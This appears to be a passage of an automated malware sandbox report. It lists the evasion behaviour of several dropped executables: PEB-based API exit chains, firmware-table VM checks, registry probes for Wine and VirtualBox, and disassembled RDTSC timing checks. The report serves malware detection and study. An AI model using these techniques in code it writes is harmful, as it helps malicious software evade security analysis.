Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FFE1 second address: 66FFE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8816 second address: 7D8843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F105527A09Eh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7F9C second address: 7E7FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E812D second address: 7E8131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8131 second address: 7E8139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8139 second address: 7E8170 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F105527A098h 0x00000008 jmp 00007F105527A098h 0x0000000d pop ecx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8170 second address: 7E8176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E82E0 second address: 7E82E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E82E6 second address: 7E82EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA177 second address: 7EA17B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA318 second address: 7EA374 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F105534B218h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007F105534B21Ch 0x00000014 push 00000000h 0x00000016 xor dword ptr [ebp+122D2FF1h], edi 0x0000001c call 00007F105534B219h 0x00000021 pushad 0x00000022 jmp 00007F105534B224h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F105534B229h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA374 second address: 7EA3BC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F105527A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F105527A093h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push edx 0x00000016 jmp 00007F105527A099h 0x0000001b pop edx 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA3BC second address: 7EA3E7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F105534B21Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F105534B224h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA3E7 second address: 7EA45B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+122D24E1h] 0x0000000e push 00000003h 0x00000010 mov dword ptr [ebp+122D1B6Eh], esi 0x00000016 push 00000000h 0x00000018 xor edx, 7F8B0B00h 0x0000001e push 00000003h 0x00000020 sub esi, dword ptr [ebp+122D1B56h] 0x00000026 push C1F2CCF1h 0x0000002b jnc 00007F105527A08Eh 0x00000031 xor dword ptr [esp], 01F2CCF1h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F105527A088h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 lea ebx, dword ptr [ebp+1244E02Ah] 0x00000058 cld 0x00000059 push eax 0x0000005a jng 00007F105527A094h 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA4C0 second address: 7EA4C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA4C4 second address: 7EA4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA4CE second address: 7EA4E9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F105534B21Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA4E9 second address: 7EA50E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F105527A08Ch 0x00000008 jo 00007F105527A086h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 mov ch, dh 0x00000013 push 00000000h 0x00000015 movzx edx, ax 0x00000018 push 331D7370h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push edx 0x00000021 pop edx 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA50E second address: 7EA518 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F105534B21Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA518 second address: 7EA578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 331D73F0h 0x0000000d mov edx, 3724CE77h 0x00000012 push 00000003h 0x00000014 push ebx 0x00000015 mov di, 83A4h 0x00000019 pop esi 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F105527A088h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 push 00000003h 0x00000038 or dl, FFFFFFBAh 0x0000003b push BD970BBCh 0x00000040 pushad 0x00000041 pushad 0x00000042 jmp 00007F105527A08Fh 0x00000047 jne 00007F105527A086h 0x0000004d popad 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA578 second address: 7EA5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 xor dword ptr [esp], 7D970BBCh 0x0000000f call 00007F105534B223h 0x00000014 add cl, 0000001Ah 0x00000017 pop ecx 0x00000018 lea ebx, dword ptr [ebp+1244E035h] 0x0000001e mov ecx, eax 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DBE47 second address: 7DBE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F105527A08Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DBE54 second address: 7DBE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F105534B216h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809987 second address: 8099A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 je 00007F105527A086h 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809ADB second address: 809AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F105534B223h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809EE1 second address: 809EFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A094h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A044 second address: 80A048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A048 second address: 80A07C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F105527A095h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F105527A091h 0x00000010 jnc 00007F105527A08Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A32C second address: 80A337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A75C second address: 80A761 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A761 second address: 80A76C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A76C second address: 80A772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A772 second address: 80A77C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F105534B216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A8D0 second address: 80A8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80AA05 second address: 80AA09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80AA09 second address: 80AA23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F105527A086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnp 00007F105527A086h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80AA23 second address: 80AA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80AA29 second address: 80AA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80AA2D second address: 80AA31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80AA31 second address: 80AA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007F105527A0A6h 0x0000000d jns 00007F105527A08Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B414 second address: 80B453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B226h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F105534B220h 0x00000010 jmp 00007F105534B223h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B58A second address: 80B594 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F105527A086h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B87A second address: 80B88F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D6E2 second address: 80D6E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D6E8 second address: 80D6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EF32 second address: 80EF3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812F2F second address: 812F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0301 second address: 7D0307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0307 second address: 7D0311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0311 second address: 7D031B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F105527A086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D031B second address: 7D0333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F105534B222h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817BD8 second address: 817BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817D76 second address: 817D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8181F4 second address: 8181FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81849B second address: 8184B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B224h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A397 second address: 81A3DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F105527A099h 0x00000008 jno 00007F105527A086h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F105527A099h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A3DC second address: 81A3E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A3E1 second address: 81A3E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A427 second address: 81A42D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A549 second address: 81A568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F105527A096h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A9C8 second address: 81A9CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
